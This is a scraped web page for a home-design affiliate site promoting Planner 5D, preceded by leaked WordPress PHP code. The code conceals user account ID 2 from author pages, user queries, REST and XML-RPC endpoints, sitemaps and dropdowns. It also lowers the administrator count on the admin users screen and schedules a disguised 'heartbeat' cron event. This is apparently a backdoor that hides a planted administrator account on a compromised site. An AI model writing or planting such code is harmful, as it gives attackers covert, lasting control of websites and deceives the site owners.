add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 2 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 2;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Best Home Design Tools 2026 | Nova Casa Living
Skip to content
Nova Casa Living
Try Planner 5D Free →
Our #1 Recommended Design Tool
Design Your Dream Home Before You Build It
Stop guessing. Visualize every room, test every layout, and plan your renovation with confidence — all before spending a single dollar.
★★★★★ 4.8 Rating
50M+ Creators
Free to Start
Our Top Pick
Planner 5D — The Easiest Way to Design Your Home
Whether you’re planning a full renovation or just rearranging furniture, Planner 5D lets you build beautiful 2D and 3D home designs in minutes — no experience needed.
Beginner friendly, no learning curve
Drag-and-drop room builder
Realistic 3D visualizations
Works directly in your browser
Huge furniture & decor library
Free plan available
Mobile app included
Save & share your projects
Try Planner 5D Free
Rated 4.8 / 5 by homeowners
01
Pick Your Design Tool
Read our hands-on reviews and comparisons to find the right software for your project size and skill level.
Compare tools
02
Build Your Floor Plan
Use Planner 5D’s drag-and-drop tools to lay out your rooms, test furniture arrangements, and see it all in 3D.
Start designing
03
Plan With Confidence
Finalize your renovation plan before spending money. Avoid costly mistakes and walk into your project fully prepared.
Read our guides
Tool Best For Rating Pricing Ease of Use Action
Planner 5D ★ Our Pick
Homeowners & Beginners
★★★★★ 4.8
Free + Premium
⚡ Very Easy
Try Free →
Floorplanner Floor Plan Design
★★★★☆ 4.5
Free + Paid Moderate
See Review →
SketchUp Advanced / Professional
★★★★☆ 4.6
Paid Complex
See Review →
RoomSketcher Quick Layouts
★★★★☆ 4.3
Free + Paid Easy
See Review →
Review
Best Home Design Software for Beginners in 2026
A hands-on comparison of the easiest tools for planning your renovation — no design experience required.
Read guide
Comparison
Planner 5D vs Floorplanner: Which Is Right for You?
We put both tools head-to-head so you can pick the one that fits your project and skill level.
Read comparison
Tutorial
How to Plan a Home Renovation (Before You Spend Anything)
A step-by-step guide to mapping out your renovation digitally so you avoid the most common costly mistakes.
Read tutorial
Get Started Today
Your Dream Home is One Click Away
Join millions of homeowners using Planner 5D to design, plan, and visualize their perfect space — for free.
Start Designing with Planner 5D
Free to use · No credit card required · Works in your browser
Affiliate Disclosure: We may earn a commission from links on this page at no extra cost to you.
© 2026 Nova Casa Living. All rights reserved.